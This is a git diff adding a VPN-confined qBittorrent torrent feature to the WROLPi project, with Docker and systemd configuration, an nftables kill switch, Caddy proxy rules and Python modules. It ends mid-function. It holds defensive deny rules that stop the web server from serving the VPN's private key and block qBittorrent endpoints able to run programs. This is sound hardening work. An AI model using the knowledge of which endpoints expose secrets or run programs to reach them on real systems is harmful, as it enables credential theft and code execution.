@ -64,10 +64,12 @@ lxpolkit
netcat-openbsd
network-manager
network-manager-gnome
nftables
nicstat
nodejs
npm
ntfs-3g
openvpn
parted
pavucontrol
pkg-config
@ -79,6 +81,7 @@ python3-doc
python3-full
python3-pip
python3-venv
qbittorrent-nox
rfkill
rsync
samba
@ -95,6 +98,7 @@ unzip
vim
vlc
wget
wireguard-tools
wpasupplicant
zenity
zim-tools

View file

@ -19,6 +19,8 @@ services:
- /sys:/host/sys:ro
# Media directory (needed for Samba share path validation)
- ${MEDIA_DIRECTORY:-./test}:/media/wrolpi
# The VPN's status, and the server addresses the Controller looks up for it.
- vpn-run:/run/wrolpi-vpn
environment:
- DOCKERIZED=true
- MEDIA_DIRECTORY=/media/wrolpi
@ -97,6 +99,41 @@ services:
test: [ 'CMD-SHELL', 'curl http://127.0.0.1:8080/' ]
interval: 2m
vpn: # The VPN, and the torrent client (qBittorrent) that uses it. Fail-closed: nothing leaves except through the VPN.
build:
context: .
dockerfile: docker/vpn/Dockerfile
environment:
# The tunnel reads the Controller's config (controller.yaml, the VPN config), and WROL Mode from the API's.
- MEDIA_DIRECTORY=/vpn-media
- WROLPI_CONFIG_DIRECTORY=/media/wrolpi/config
volumes:
- '${MEDIA_DIRECTORY:-./test}/config:/vpn-media/config:ro'
- vpn-run:/run/wrolpi-vpn
# The library torrents are saved in (the API's media directory); never WROLPi's config.
- './test:/media/wrolpi'
- './test/config:/media/wrolpi/config:ro'
# qBittorrent's own state.
- torrent-profile:/profile
# The tunnel needs NET_ADMIN; SETUID/SETGID/SETPCAP let it start qBittorrent as an unprivileged user with no
# capabilities at all, and KILL lets it watch and stop that user's process. qBittorrent is reachable from the Internet (the VPN forwards a port to it): if it were taken
# over, it gets nothing more. (Not a read-only root: Docker would mount /etc/resolv.conf read-only, and the tunnel
# writes the VPN's DNS servers there. qBittorrent cannot write the root-owned files anyway.)
cap_drop:
- ALL
cap_add:
- NET_ADMIN
- SETUID
- SETGID
- SETPCAP
- KILL
security_opt:
- no-new-privileges:true
devices:
- /dev/net/tun:/dev/net/tun
restart: unless-stopped
init: true
app: # React App
depends_on:
- api
@ -144,6 +181,8 @@ services:
- '8085:8085'
- '8086:8086'
- '8088:8088'
# qBittorrent's WebUI (torrents).
- '8091:8091'
volumes:
- './docker/web/Caddyfile:/etc/caddy/Caddyfile'
- './icon.ico:/etc/caddy/favicon.ico'
@ -199,3 +238,9 @@ services:
healthcheck:
test: [ 'CMD-SHELL', 'curl http://127.0.0.1:80' ] # mkdocs serves on 80; 8086 is Caddy's proxy.
interval: 1m
volumes:
# The VPN status file, and the VPN server addresses the Controller looks up for the tunnel.
vpn-run:
# qBittorrent's own state.
torrent-profile:

@ -1 +1 @@
Subproject commit 32d8746222d6b0ada3a98d2e4d35c6d9c57a1727
Subproject commit d6c8c69748f2cb7944190f2c94d084e291d2281d

20
docker/vpn/Dockerfile Normal file
View file

@ -0,0 +1,20 @@
# The VPN and the torrent client (qBittorrent) that uses it, in one container. The container's network namespace is
# the fail-closed network: the tunnel's kill switch (controller/vpn/tunnel.py) lets nothing out except through the VPN.
# qBittorrent's WebUI (8091) is served to the LAN by Caddy.
FROM debian:trixie-slim
RUN apt-get update \
&& apt-get install -y --no-install-recommends iproute2 nftables openvpn wireguard-tools python3 python3-yaml \
ca-certificates qbittorrent-nox \
&& rm -rf /var/lib/apt/lists/*
COPY controller/vpn/tunnel.py /app/tunnel.py
COPY modules/torrents/qbittorrent_prepare.py /app/qbittorrent_prepare.py
COPY docker/vpn/entrypoint.sh /app/entrypoint.sh
# qBittorrent's own state, outside the library (a named volume, which takes this owner when it is first used). A new
# one re-adds every torrent from config/torrents/.
RUN mkdir /profile && chown 1000:1000 /profile
ENV PYTHONUNBUFFERED=1
CMD ["/app/entrypoint.sh"]

43
docker/vpn/entrypoint.sh Executable file
View file

@ -0,0 +1,43 @@
#!/bin/sh
# The tunnel and the torrent client in one container, so the client can never be left on a network the tunnel no
# longer guards (a container joined to another's network keeps its old, dead one when that container is recreated).
#
# qBittorrent starts only once the tunnel has installed its kill switch (it writes its first status after that), and
# runs as an unprivileged user with no capabilities. If either stops, the container stops, and Docker restarts both.
set -u
PROFILE=/profile
STATUS=/run/wrolpi-vpn/status.json
QBITTORRENT_UID=${QBITTORRENT_UID:-1000}
QBITTORRENT_GID=${QBITTORRENT_GID:-1000}
rm -f "${STATUS}"
python3 /app/tunnel.py run --resolv-conf /etc/resolv.conf &
TUNNEL=$!
while [ ! -f "${STATUS}" ]; do
if ! kill -0 "${TUNNEL}" 2>/dev/null; then
echo "The tunnel stopped before its kill switch was in place" >&2
exit 1
fi
sleep 1
done
setpriv --reuid="${QBITTORRENT_UID}" --regid="${QBITTORRENT_GID}" --clear-groups \
--inh-caps=-all --bounding-set=-all --no-new-privs \
env HOME="${PROFILE}" sh -c "python3 /app/qbittorrent_prepare.py --profile ${PROFILE} \
&& exec qbittorrent-nox --confirm-legal-notice --profile=${PROFILE}" &
QBITTORRENT=$!
stop() {
kill "${QBITTORRENT}" "${TUNNEL}" 2>/dev/null
wait
}
trap 'stop; exit 0' TERM INT
while kill -0 "${TUNNEL}" 2>/dev/null && kill -0 "${QBITTORRENT}" 2>/dev/null; do
sleep 2
done
echo "The tunnel or qBittorrent stopped; stopping both" >&2
stop
exit 1

View file

@ -92,6 +92,9 @@
# Static media files with directory browsing.
handle_path /media/* {
# The VPN's private key and login (controller/lib/vpn.py) are never served.
@vpn_secrets path /config/vpn /config/vpn/*
respond @vpn_secrets 403
root * /opt/media
header Content-Disposition "inline"
file_server browse
@ -102,6 +105,9 @@
# Downloads with Content-Disposition header.
handle_path /download/* {
# The VPN's private key and login (controller/lib/vpn.py) are never served.
@vpn_secrets path /config/vpn /config/vpn/*
respond @vpn_secrets 403
root * /opt/media
header Content-Disposition "attachment"
file_server browse
@ -131,6 +137,15 @@
}
}
# qBittorrent's WebUI (torrents), in the VPN's network namespace. Refused: its settings (they can run programs; WROLPi
# manages them, reaching qBittorrent directly, not through here), and its search (its plugins are programs it runs).
:8091 {
tls /etc/ssl/caddy/cert.crt /etc/ssl/caddy/cert.key
@qbittorrent_settings path /api/v2/app/setPreferences /api/v2/app/shutdown /api/v2/search/*
respond @qbittorrent_settings "qBittorrent's settings are managed by WROLPi" 403
reverse_proxy vpn:8091
}
# Kiwix HTTPS proxy (replaces zim_https container).
:8085 {
tls /etc/ssl/caddy/cert.crt /etc/ssl/caddy/cert.key

View file

@ -86,6 +86,9 @@
# Static media files with directory browsing.
handle_path /media/* {
# The VPN's private key and login (controller/lib/vpn.py) are never served.
@vpn_secrets path /config/vpn /config/vpn/*
respond @vpn_secrets 403
root * /media/wrolpi
header Content-Disposition "inline"
file_server browse
@ -96,6 +99,9 @@
# Downloads with Content-Disposition header.
handle_path /download/* {
# The VPN's private key and login (controller/lib/vpn.py) are never served.
@vpn_secrets path /config/vpn /config/vpn/*
respond @vpn_secrets 403
root * /media/wrolpi
header Content-Disposition "attachment"
file_server browse
@ -125,6 +131,15 @@
}
}
# qBittorrent's WebUI (torrents), in the VPN's network namespace. Refused: its settings (they can run programs; WROLPi
# manages them, reaching qBittorrent directly, not through here), and its search (its plugins are programs it runs).
:8091 {
tls /etc/ssl/wrolpi/cert.crt /etc/ssl/wrolpi/cert.key
@qbittorrent_settings path /api/v2/app/setPreferences /api/v2/app/shutdown /api/v2/search/*
respond @qbittorrent_settings "qBittorrent's settings are managed by WROLPi" 403
reverse_proxy 10.211.0.2:8091
}
# Kiwix HTTPS proxy.
:8085 {
tls /etc/ssl/wrolpi/cert.crt /etc/ssl/wrolpi/cert.key

View file

@ -0,0 +1,58 @@
[Unit]
Description=WROLPi torrents (qBittorrent, inside the VPN's network namespace)
PartOf=wrolpi.target
# Torrents have no network but the VPN's; they stop and start with it.
BindsTo=wrolpi-vpn.service
After=wrolpi-vpn.service wrolpi-mounts.service
[Service]
NetworkNamespacePath=/run/netns/wrolpi-vpn
# The namespace's resolv.conf (the VPN's DNS servers); `ip netns exec` would bind it, systemd does not.
BindReadOnlyPaths=/etc/netns/wrolpi-vpn/resolv.conf:/etc/resolv.conf
# Starts only once the tunnel has installed its kill switch (it writes its first status after that), as the Docker
# entrypoint does.
ExecStartPre=/bin/sh -c 'for i in $(seq 80); do [ -f /run/wrolpi-vpn/status.json ] && exit 0; sleep 1; done; echo "The VPN has not installed its kill switch" >&2; exit 1'
# The uplink is the address wrolpi-vpn-netns.sh gives the namespace; looking it up would run `ip`, which the seccomp
# filter below kills (it drops capabilities with capset).
ExecStartPre=/usr/bin/python3 /opt/wrolpi/modules/torrents/qbittorrent_prepare.py --profile /var/lib/wrolpi-torrent --uplink 10.211.0.2/30 --allow 10.211.0.1/32
ExecStart=/usr/bin/qbittorrent-nox --confirm-legal-notice --profile=/var/lib/wrolpi-torrent
User=wrolpi
Group=wrolpi
# qBittorrent's own state, outside the library. A new one re-adds every torrent from config/torrents/.
StateDirectory=wrolpi-torrent
Environment=HOME=/var/lib/wrolpi-torrent
# qBittorrent writes only to the library, never WROLPi's config, whatever a torrent or its WebUI asks for.
ProtectSystem=strict
ReadWritePaths=/media/wrolpi
ReadOnlyPaths=/media/wrolpi/config
ProtectHome=yes
PrivateTmp=yes
NoNewPrivileges=yes
# It is reachable from the Internet (the VPN forwards a port to it): if it were taken over, it gets nothing more.
CapabilityBoundingSet=
AmbientCapabilities=
PrivateDevices=yes
ProtectKernelTunables=yes
ProtectKernelModules=yes
ProtectKernelLogs=yes
ProtectControlGroups=yes
ProtectClock=yes
ProtectHostname=yes
ProtectProc=invisible
ProcSubset=pid
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX AF_NETLINK
RestrictNamespaces=yes
RestrictRealtime=yes
RestrictSUIDSGID=yes
LockPersonality=yes
SystemCallArchitectures=native
SystemCallFilter=@system-service
SystemCallFilter=~@privileged @resources
UMask=0002
Restart=on-failure
RestartSec=10
# Below everything a person is waiting on.
Nice=10
[Install]
WantedBy=default.target

View file

@ -0,0 +1,100 @@
#!/usr/bin/env bash
# Creates (up) or removes (down) the `wrolpi-vpn` network namespace which torrents live in.
#
# The namespace reaches the Internet only through a veth pair to this host, which masquerades it. The namespace's own
# kill switch (controller/vpn/tunnel.py) lets that path carry nothing but the VPN's traffic to its servers, so
# everything else in the namespace must use the tunnel. The host reaches the namespace (the torrent client's WebUI)
# at 10.211.0.2.
#
# The namespace is closed (drop everything) before it is given a route out. Idempotent: `up` is safe to run while the
# namespace exists. The namespace (and its kill switch) is left in place
# when wrolpi-vpn.service stops or restarts, so a crashed tunnel never opens a way out.
set -euo pipefail
NAMESPACE=wrolpi-vpn
HOST_INTERFACE=veth-wrolpi
NAMESPACE_INTERFACE=vpn-uplink
HOST_ADDRESS=10.211.0.1
NAMESPACE_ADDRESS=10.211.0.2
NETWORK=10.211.0.0/30
up() {
if [ ! -e "/run/netns/${NAMESPACE}" ]; then
ip netns add "${NAMESPACE}"
fi
# Closed before it has any way out: nothing leaves (or reaches) the namespace until the tunnel replaces this with its
# kill switch, or ever, if the tunnel fails to start. A kill switch the tunnel already installed is kept.
if ! ip netns exec "${NAMESPACE}" nft list table inet wrolpi_vpn &>/dev/null; then
ip netns exec "${NAMESPACE}" nft -f - <<CLOSED
table inet wrolpi_vpn {
chain input {
type filter hook input priority filter; policy drop;
iifname "lo" accept
}
chain forward {
type filter hook forward priority filter; policy drop;
}
chain output {
type filter hook output priority filter; policy drop;
oifname "lo" accept
}
}
CLOSED
fi
# `ip netns exec` bind-mounts this over /etc/resolv.conf inside the namespace, but only if it exists. The tunnel
# writes the VPN's DNS servers here; until then the namespace has none, so nothing leaks a lookup.
mkdir -p "/etc/netns/${NAMESPACE}"
if [ ! -e "/etc/netns/${NAMESPACE}/resolv.conf" ]; then
: >"/etc/netns/${NAMESPACE}/resolv.conf"
fi
if ! ip link show "${HOST_INTERFACE}" &>/dev/null; then
ip link add "${HOST_INTERFACE}" type veth peer name "${NAMESPACE_INTERFACE}" netns "${NAMESPACE}"
fi
ip address replace "${HOST_ADDRESS}/30" dev "${HOST_INTERFACE}"
ip link set "${HOST_INTERFACE}" up
ip -n "${NAMESPACE}" link set lo up
ip -n "${NAMESPACE}" address replace "${NAMESPACE_ADDRESS}/30" dev "${NAMESPACE_INTERFACE}"
ip -n "${NAMESPACE}" link set "${NAMESPACE_INTERFACE}" up
ip -n "${NAMESPACE}" route replace default via "${HOST_ADDRESS}" dev "${NAMESPACE_INTERFACE}"
# The uplink carries IPv4 only; the tunnel may bring IPv6.
ip netns exec "${NAMESPACE}" sh -c "echo 1 >/proc/sys/net/ipv6/conf/${NAMESPACE_INTERFACE}/disable_ipv6"
# The host forwards the namespace's traffic. (The hotspot turns this on too, so it is never turned off here.)
echo 1 >/proc/sys/net/ipv4/ip_forward
nft -f - <<EOF
table inet wrolpi_vpn_host
delete table inet wrolpi_vpn_host
table inet wrolpi_vpn_host {
chain postrouting {
type nat hook postrouting priority srcnat; policy accept;
ip saddr ${NETWORK} oifname != "${HOST_INTERFACE}" masquerade
}
chain forward {
# Only the namespace's own traffic is touched; the host's other forwarding (e.g. the hotspot) is not.
type filter hook forward priority filter; policy accept;
iifname "${HOST_INTERFACE}" ip saddr != ${NAMESPACE_ADDRESS} drop
oifname "${HOST_INTERFACE}" ct state established,related accept
oifname "${HOST_INTERFACE}" drop
}
}
EOF
}
down() {
ip netns delete "${NAMESPACE}" 2>/dev/null || :
ip link delete "${HOST_INTERFACE}" 2>/dev/null || :
nft delete table inet wrolpi_vpn_host 2>/dev/null || :
}
case "${1:-}" in
up) up ;;
down) down ;;
*)
echo "Usage: $0 up|down" >&2
exit 2
;;
esac

View file

@ -0,0 +1,22 @@
[Unit]
Description=WROLPi VPN for torrents (fail-closed network namespace)
PartOf=wrolpi.target
After=network-online.target wrolpi-mounts.service
Wants=network-online.target
[Service]
# Follows the `vpn` section of controller.yaml; idles while the VPN is off. The namespace and its kill switch outlive
# this service, so torrents have no way out while the tunnel is down.
# wrolpi-torrent.service waits for this run's first status (written once the kill switch is in place).
ExecStartPre=/bin/rm -f /run/wrolpi-vpn/status.json
ExecStartPre=/opt/wrolpi/etc/raspberrypios/wrolpi-vpn-netns.sh up
ExecStart=/usr/bin/ip netns exec wrolpi-vpn /opt/wrolpi/controller/venv/bin/python /opt/wrolpi/controller/vpn/tunnel.py run --resolv-conf /etc/netns/wrolpi-vpn/resolv.conf
Environment=MEDIA_DIRECTORY=/media/wrolpi
RuntimeDirectory=wrolpi-vpn
RuntimeDirectoryPreserve=yes
User=root
Restart=always
RestartSec=10
[Install]
WantedBy=default.target

View file

@ -1,3 +1,3 @@
[Unit]
Description=WROLPi services group
Wants=wrolpi-controller.service wrolpi-api.service wrolpi-app.service caddy.service wrolpi-kiwix.service wrolpi-tiles.service wrolpi-rsyncd.service
Wants=wrolpi-controller.service wrolpi-api.service wrolpi-app.service caddy.service wrolpi-kiwix.service wrolpi-tiles.service wrolpi-rsyncd.service wrolpi-vpn.service wrolpi-torrent.service

View file

@ -0,0 +1,6 @@
from .api import torrents_bp
from .downloader import torrent_downloader
from .lib import get_torrents_config, torrents_worker
from .share import share_torrent
__all__ = ['share_torrent', 'torrents_bp', 'get_torrents_config', 'torrent_downloader', 'torrents_worker']

135
modules/torrents/api.py Normal file
View file

@ -0,0 +1,135 @@
from dataclasses import dataclass
from typing import Optional
from sanic import Blueprint, response
from sanic.request import Request
from sanic_ext import validate
from sanic_ext.extensions.openapi import openapi
from modules.torrents import lib, share
from wrolpi.api_utils import json_response
from wrolpi.common import get_wrolpi_config, wrol_mode_check
from wrolpi.downloader import download_manager
from wrolpi.errors import ValidationError
torrents_bp = Blueprint('Torrents', '/api/torrents')
@dataclass
class ShareLimitsRequest:
seed_ratio_limit: Optional[float] = None
seed_time_limit: Optional[int] = None
@dataclass
class ShareRequest:
path: str
trackers: Optional[list] = None
web_seeds: Optional[list] = None
# Make these trackers the ones offered next time.
remember_trackers: bool = False
@dataclass
class LimitsRequest:
upload: int = 0
download: int = 0
@torrents_bp.get('/')
@openapi.description("Every torrent, qBittorrent's state, and the VPN's (torrents reach the Internet only through it)")
async def get_torrents(_: Request):
return json_response(await lib.get_torrents_status())
@torrents_bp.post('/upload')
@openapi.description('Download a .torrent file (multipart field `torrent`) into `destination` (form field, relative '
'to the media directory). Its progress is shown on the Downloads page.')
@wrol_mode_check
async def upload_torrent(request: Request):
file = request.files.get('torrent') if request.files else None
if not file:
raise ValidationError('Choose a .torrent file')
torrent = file.body
hash_, name = lib.torrent_identity(torrent)
save_path = lib.check_save_path(request.form.get('destination') or lib.DEFAULT_SAVE_PATH)
torrent_file = lib.get_torrents_config().get_torrent_file(hash_)
torrent_file.parent.mkdir(parents=True, exist_ok=True)
torrent_file.write_bytes(torrent)
# Its magnet link names it on the Downloads page; the downloader uses the saved file. A write block, as
# post_download explains.
with request.ctx.db.write() as session:
download_manager.create_downloads(session, [lib.torrent_magnet(torrent)], lib.TORRENT_DOWNLOADER,
reset_attempts=True, destination=lib.get_media_directory() / save_path)
return json_response(dict(hash=hash_, name=name))
@torrents_bp.post('/<hash_:str>/pause')
@wrol_mode_check
async def pause_torrent(_: Request, hash_: str):
await lib.set_paused(hash_, True)
return response.empty()
@torrents_bp.post('/<hash_:str>/resume')
@wrol_mode_check
async def resume_torrent(_: Request, hash_: str):
await lib.set_paused(hash_, False)
return response.empty()
@torrents_bp.put('/<hash_:str>/limits')
@openapi.definition(body=ShareLimitsRequest, summary='Stop seeding at a ratio / after minutes seeding (null: never)')
@validate(ShareLimitsRequest)
@wrol_mode_check
async def put_share_limits(_: Request, hash_: str, body: ShareLimitsRequest):
lib.set_share_limits(hash_, body.seed_ratio_limit, body.seed_time_limit)
return response.empty()
@torrents_bp.delete('/<hash_:str>')
@openapi.description('Remove a torrent. Its files are kept unless `delete_files=true`.')
@wrol_mode_check
async def delete_torrent(request: Request, hash_: str):
await lib.remove_torrent(hash_, delete_files=request.args.get('delete_files') == 'true')
return response.empty()
@torrents_bp.get('/<hash_:str>/torrent')
@openapi.description("A torrent's .torrent file, to share it")
async def get_torrent_file(_: Request, hash_: str):
config = lib.get_torrents_config()
entity = config.get(hash_)
torrent_file = config.get_torrent_file(hash_)
if not entity or not torrent_file.is_file():
raise ValidationError('That torrent has no .torrent file yet')
return await response.file(torrent_file, mime_type='application/x-bittorrent',
filename=f'{entity["name"]}.torrent')
@torrents_bp.put('/limits')
@openapi.definition(body=LimitsRequest, summary="Torrents' total upload and download limits, in KiB/s (0: none)")
@validate(LimitsRequest)
@wrol_mode_check
async def put_limits(_: Request, body: LimitsRequest):
if body.upload < 0 or body.download < 0:
raise ValidationError('A speed limit cannot be negative')
wrolpi_config = get_wrolpi_config()
wrolpi_config.torrent_upload_limit = body.upload
wrolpi_config.torrent_download_limit = body.download
return response.empty()
@torrents_bp.post('/share')
@openapi.definition(body=ShareRequest,
summary='Make a torrent of a file or directory in the library (`path`, relative to the media '
'directory), and seed it. Returns the Job making it.')
@validate(ShareRequest)
@wrol_mode_check
async def share_torrent(_: Request, body: ShareRequest):
trackers = share.check_trackers(body.trackers)
job_id = share.share(body.path, trackers, body.web_seeds or [])
# Only once the request was accepted.
if body.remember_trackers:
get_wrolpi_config().torrent_trackers = trackers
return json_response(dict(job_id=job_id), status=201)

View file

@ -0,0 +1,128 @@
import copy
import pytest
from modules.torrents import lib
@pytest.fixture
def test_torrents_config(test_directory):
"""An isolated torrents config in the test directory."""
from wrolpi.api_utils import api_app
from wrolpi.contexts import attach_shared_contexts
if not hasattr(api_app.shared_ctx, 'switches_lock'):
attach_shared_contexts(api_app)
(test_directory / 'config' / 'torrents').mkdir(parents=True, exist_ok=True)
lib.set_test_torrents_config(True)
config = lib.get_torrents_config()
config.initialize()
try:
yield config
finally:
lib.set_test_torrents_config(False)
class FakeQBittorrent:
"""qBittorrent's WebUI API, in memory."""
def __init__(self, torrents=None, tags=None, preferences=None, metadata=True, created=None,
creator_statuses=None):
self._torrents = {t['hash']: dict(t) for t in torrents or []}
self._tags = list(tags or [])
self._preferences = dict(preferences or {'upnp': True, 'lsd': True, 'listen_port': 57968,
'current_network_interface': 'vpn0'})
self.metadata = metadata
self.calls = []
# The torrent creator: the .torrent it makes, and the statuses it reports in turn.
self.created = created
self.creator_statuses = list(creator_statuses or [{'status': 'Finished', 'progress': None}])
async def version(self):
return 'v5.1.0'
async def preferences(self):
return dict(self._preferences)
async def set_preferences(self, preferences):
self.calls.append(('set_preferences', preferences))
self._preferences.update(preferences)
async def transfer_info(self):
return {'connection_status': 'connected', 'up_info_speed': 100, 'dl_info_speed': 0}
async def torrents(self):
return [copy.deepcopy(t) for t in self._torrents.values()]
async def tags(self):
return list(self._tags)
async def create_tags(self, *tags):
self._tags.extend(t for t in tags if t not in self._tags)
def _tag_set(self, hash_):
return {t for t in self._torrents[hash_].get('tags', '').split(',') if t}
async def add_tags(self, hashes, *tags):
for h in hashes:
self._torrents[h]['tags'] = ','.join(sorted(self._tag_set(h) | set(tags)))
async def remove_tags(self, hashes, *tags):
for h in hashes:
self._torrents[h]['tags'] = ','.join(sorted(self._tag_set(h) - set(tags)))
async def add(self, save_path, torrent=None, url=None, tags=None, stopped=False, skip_checking=False):
self.calls.append(('add', save_path, torrent, url, tags, stopped))
if skip_checking:
self.calls.append(('skip_checking', save_path))
if torrent and torrent.startswith(b'd'):
hash_, name = lib.torrent_identity(torrent)
elif torrent:
# A stand-in .torrent written by a test: b'torrent <hash>'.
hash_ = name = torrent.decode()[-40:]
else:
hash_, name = lib.magnet_identity(url)
self._torrents[hash_] = dict(hash=hash_, name=name, save_path=save_path,
tags=','.join(tags or []), state='stoppedDL' if stopped else 'downloading',
progress=0)
async def delete(self, hashes, delete_files=False):
self.calls.append(('delete', hashes, delete_files))
for h in hashes:
self._torrents.pop(h, None)
async def export(self, hash_):
return f'torrent {hash_}'.encode() if self.metadata else None
async def set_share_limits(self, hashes, ratio_limit, seeding_time_limit):
self.calls.append(('set_share_limits', hashes, ratio_limit, seeding_time_limit))
for h in hashes:
self._torrents[h].update(ratio_limit=ratio_limit, seeding_time_limit=seeding_time_limit)
async def create_torrent(self, source_path, trackers, url_seeds):
self.calls.append(('create_torrent', source_path, trackers, url_seeds))
return 'task-1'
async def torrent_creator_status(self, task_id):
return self.creator_statuses.pop(0) if len(self.creator_statuses) > 1 else self.creator_statuses[0]
async def torrent_creator_file(self, task_id):
return self.created
async def delete_torrent_creator_task(self, task_id):
self.calls.append(('delete_torrent_creator_task', task_id))
async def start(self, hashes):
self.calls.append(('start', hashes))
for h in hashes:
self._torrents[h]['state'] = 'downloading'
async def stop(self, hashes):
self.calls.append(('stop', hashes))
for h in hashes:
self._torrents[h]['state'] = 'stoppedDL'
@pytest.fixture
def fake_qbittorrent():
return FakeQBittorrent

View file

@ -0,0 +1,85 @@
"""
Torrents from the Download menu: a magnet link, or the URL of a .torrent file.
The Download finishes once the torrent is added (to config/torrents/, then qBittorrent); a torrent can take days, and
no download worker waits for it. The torrents worker shows its progress on the Download, and marks it completed
when the torrent is.
"""
import pathlib
from dataclasses import dataclass
from sqlalchemy.orm import Session
from modules.torrents import lib
from wrolpi.common import aiohttp_get, get_relative_to_media_directory
from wrolpi.downloader import Download, DownloadContext, DownloadResult, Downloader
from wrolpi.errors import ValidationError
@dataclass
class PreparedTorrent:
url: str
save_path: str
@dataclass
class ExecutedTorrent:
hash: str
name: str
class TorrentDownloader(Downloader):
name = lib.TORRENT_DOWNLOADER
pretty_name = 'Torrent'
listable = False
def normalize_domain(self, url: str) -> str:
# Magnet links have no domain; torrents are limited by qBittorrent, not the daily download limits.
return 'torrents'
def prepare_download(self, session: Session, download: Download) -> PreparedTorrent:
save_path = lib.DEFAULT_SAVE_PATH
if download.destination:
save_path = str(get_relative_to_media_directory(download.destination))
return PreparedTorrent(url=download.url, save_path=save_path)
async def execute_download(self, prepared: PreparedTorrent, ctx: DownloadContext,
download: Download = None) -> ExecutedTorrent | DownloadResult:
url = prepared.url.strip()
try:
if url.lower().startswith('magnet:'):
hash_, _ = lib.magnet_identity(url)
torrent_file = lib.get_torrents_config().get_torrent_file(hash_)
# An uploaded .torrent is saved before its Download is made; use it rather than the magnet link.
torrent = torrent_file.read_bytes() if torrent_file.is_file() else None
entity = await lib.add_torrent(prepared.save_path, torrent=torrent, magnet=None if torrent else url)
elif url.lower().startswith(('http://', 'https://')):
entity = await lib.add_torrent(prepared.save_path, torrent=await fetch_torrent_file(url))
else:
return DownloadResult(success=False, error='A torrent must be a magnet link or a .torrent URL')
except (ValidationError, lib.QBittorrentError, lib.QBittorrentUnavailable) as e:
return DownloadResult(success=False, error=str(e))
return ExecutedTorrent(hash=entity['slug'], name=entity['name'])
def finalize_download(self, session: Session, download: Download, executed: ExecutedTorrent) -> DownloadResult:
# The torrents worker finds this Download's torrent by its hash.
download.info_json = dict(torrent_hash=executed.hash, name=executed.name)
return DownloadResult(success=True, location='/admin/torrents')
async def fetch_torrent_file(url: str) -> bytes:
"""A .torrent file from a website. (Only this small file comes from the website; the torrent itself is
downloaded through the VPN.)"""
torrent = bytearray()
async with aiohttp_get(url, timeout=60) as response:
if response.status != 200:
raise ValidationError(f'Could not download the .torrent file ({response.status})')
# `read(n)` returns whatever has arrived (up to n), not the whole file; read every chunk.
async for chunk in response.content.iter_chunked(64 * 1024):
torrent.extend(chunk)
if len(torrent) > lib.MAX_TORRENT_FILE_BYTES:
raise ValidationError('That file is too large to be a .torrent file')
return bytes(torrent)
torrent_downloader = TorrentDownloader()

604
modules/torrents/lib.py Normal file
View file

@ -0,0 +1,604 @@
"""
Torrents: qBittorrent, inside the VPN's network namespace, kept as config/torrents/ says.
Each torrent is `config/torrents/<hash>.yaml`, with its `.torrent` file beside it, so a restored WROLPi re-adds
(and re-checks, never re-downloads) every torrent. There is no database. The torrents can also be managed in
qBittorrent's own WebUI (port 8091), so WROLPi follows it too:
- A torrent WROLPi knows carries the `wrolpi` tag in qBittorrent. An untagged torrent (added in the WebUI) is
adopted into the config once its metadata has arrived.
- qBittorrent keeps its tags in its profile. Without the `wrolpi` tag, the profile is new (first start, or a
restore), and every torrent in the config is added. With it, a torrent missing from qBittorrent was removed in the
WebUI, and leaves the config; a tagged torrent missing from the config was removed from the config, and leaves
qBittorrent (its files are kept).
- `paused` in the config is what the user wants. WROL Mode stops torrents with the `wrolpi-wrol-mode` tag, so they
are started again when it ends; any other stop or start of a torrent is the user's, and is saved.
"""
import asyncio
import base64
import hashlib
import pathlib
import re
import time
import urllib.parse
from dataclasses import dataclass, field
from typing import List, Optional
import aiohttp
from wrolpi import flags
from wrolpi.api_utils import perpetual_signal
from wrolpi.common import MultiFileConfig, get_media_directory, logger, wrol_mode_enabled, \
get_relative_to_media_directory, get_wrolpi_config
from wrolpi.errors import ValidationError
from wrolpi.vars import DOCKERIZED, PYTEST
from modules.torrents.qbittorrent import QBittorrent, QBittorrentError, QBittorrentUnavailable
logger = logger.getChild(__name__)
TAG = 'wrolpi'
WROL_MODE_TAG = 'wrolpi-wrol-mode'
TUNNEL_INTERFACE = 'vpn0'
# Where torrents are saved unless asked otherwise, relative to the media directory.
DEFAULT_SAVE_PATH = 'torrents'
STOPPED_STATES = {'stoppedUP', 'stoppedDL'}
# Downloaded, and being (or ready to be) seeded.
COMPLETE_STATES = {'uploading', 'stalledUP', 'forcedUP', 'queuedUP', 'stoppedUP', 'checkingUP'}
SYNC_SECONDS = 10
CONTROLLER_URL = 'http://controller' if DOCKERIZED else 'http://127.0.0.1'
@dataclass
class TorrentConfigValidator:
version: int
slug: str
name: str
save_path: str
paused: bool = False
magnet: str = None
complete: bool = False
# Stop seeding at this ratio / after this many minutes seeding. None: never.
seed_ratio_limit: float = None
seed_time_limit: int = None
class TorrentsConfig(MultiFileConfig):
subdirectory = 'torrents'
name = 'torrents'
validator = TorrentConfigValidator
default_entity = dict(version=0, slug=None, name=None, save_path=DEFAULT_SAVE_PATH, paused=False, magnet=None,
complete=False, seed_ratio_limit=None, seed_time_limit=None)
def get_torrent_file(self, slug: str) -> pathlib.Path:
return self.get_directory() / f'{slug}.torrent'
def update(self, slug: str, **values):
entity = self.get(slug)
if entity is None:
return
entity.update(values)
self.replace(slug, entity)
def delete(self, slug: str):
with self.save_lock():
self._configs.pop(slug, None)
self.get_file(slug).unlink(missing_ok=True)
self.get_torrent_file(slug).unlink(missing_ok=True)
TORRENTS_CONFIG = TorrentsConfig()
TEST_TORRENTS_CONFIG: Optional[TorrentsConfig] = None
def get_torrents_config() -> TorrentsConfig:
if isinstance(TEST_TORRENTS_CONFIG, TorrentsConfig):
return TEST_TORRENTS_CONFIG
return TORRENTS_CONFIG
def set_test_torrents_config(enabled: bool):
global TEST_TORRENTS_CONFIG
TEST_TORRENTS_CONFIG = TorrentsConfig() if enabled else None
def save_path_of(entity: dict) -> str:
"""The absolute directory qBittorrent saves a torrent in."""
save_path = pathlib.Path(entity.get('save_path') or DEFAULT_SAVE_PATH)
return str(save_path if save_path.is_absolute() else get_media_directory() / save_path)
def config_save_path(save_path: str) -> str:
"""How the config records qBittorrent's save path: relative to the media directory when it is in it."""
try:
return str(get_relative_to_media_directory(save_path))
except ValueError:
return save_path
MAX_TORRENT_FILE_BYTES = 20 * 1024 * 1024
HASH_RE = re.compile(r'^[0-9a-f]{40}$')
def bdecode(data: bytes, start: int = 0):
"""Decode the bencoded value (a .torrent file's) which starts at `start`. Returns (value, where it ends)."""
def decode(i: int):
c = data[i:i + 1]
if c == b'i':
end = data.index(b'e', i)
return int(data[i + 1:end]), end + 1
if c in (b'l', b'd'):
i += 1
items = []
while data[i:i + 1] != b'e':
item, i = decode(i)
items.append(item)
if c == b'l':
return items, i + 1
